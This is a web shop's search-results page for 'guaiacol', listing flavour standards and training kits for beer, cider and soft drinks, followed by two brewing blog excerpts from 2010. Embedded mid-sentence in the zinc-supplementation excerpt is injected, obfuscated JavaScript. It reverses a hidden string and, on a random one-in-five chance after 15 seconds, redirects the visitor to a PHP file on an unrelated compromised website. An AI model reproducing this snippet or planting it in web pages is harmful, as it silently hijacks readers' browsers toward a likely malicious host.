Search results for 'guaiacol'

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  1. earn 7 points
    £69.00
    OR
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    Spicy, like clove oil or allspice” Learn More

    eugenol

    Spirits
  2. earn 7 points
    £69.00
    OR
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    Smoky, like smoked fish or cheese” Learn More

    guaiacol

    Spirits
  3. earn 9 points
    £89.00
    OR
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    Phenolic, like cloves or wheat beer” Learn More

    4-vinyl guaiacol

    Multi Sector
  4. earn 8 points
    £79.00
    OR
    Product image
    Smoky, like smoked fish or cheese” Learn More

    guaiacol

    Multi Sector
  5. earn 8 points
    £79.00
    OR
    Product image
    Spicy, like clove oil or allspice” Learn More

    eugenol

    Multi Sector
  6. earn 60 points
    £599.00
    OR
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    Eight specially-selected soft drinks off-flavours - up to twenty hours of training for ten people Learn More

    soft drinks off-flavours kit

    Soft Drinks
  7. earn 50 points
    £499.00
    OR
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    Eight specially-selected cider off-flavours - up to twenty hours of training for ten people Learn More

    cider off-flavours kit

    Cider
  8. earn 7 points
    £99.00
    OR
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    Ten different certified cider flavour standards - a personal training kit or a starter kit for group taster training. Learn More

    cider uno kit

    Cider
  9. earn 7 points
    £99.00
    OR
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    Ten different of-flavours and taints found in soft drinks - up to two hours of training for ten of your colleagues. Learn More

    soft drinks uno kit

    Soft Drinks
  10. 25 points
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    phenolic, clove, smoky, ash-like Learn More

    4-ethyl guaiacol

    Discovery
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  • Off-flavours and taints

    by Bill Simpson · September 11, 2010

    In an ideal world everyone would have enough to eat, a nice place to rest their head, good companions, and enough money for what they need in life. Beer would only contain the flavours that the brewer intended to be there. 'Foreign flavours' would be foreign to such beers. Unfortunately, few have yet mastered the path to Brewing [...]


  • Zinc supplementation of wheat beer fermentations

    by Bill Simpson · September 10, 2010

    Zinc salts are often added to commercial lager, ale $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and stout fermentations - either as solutions of food-grade zinc salts or as a component of a formulated 'yeast food'. The technique has a long history of safe use being [...]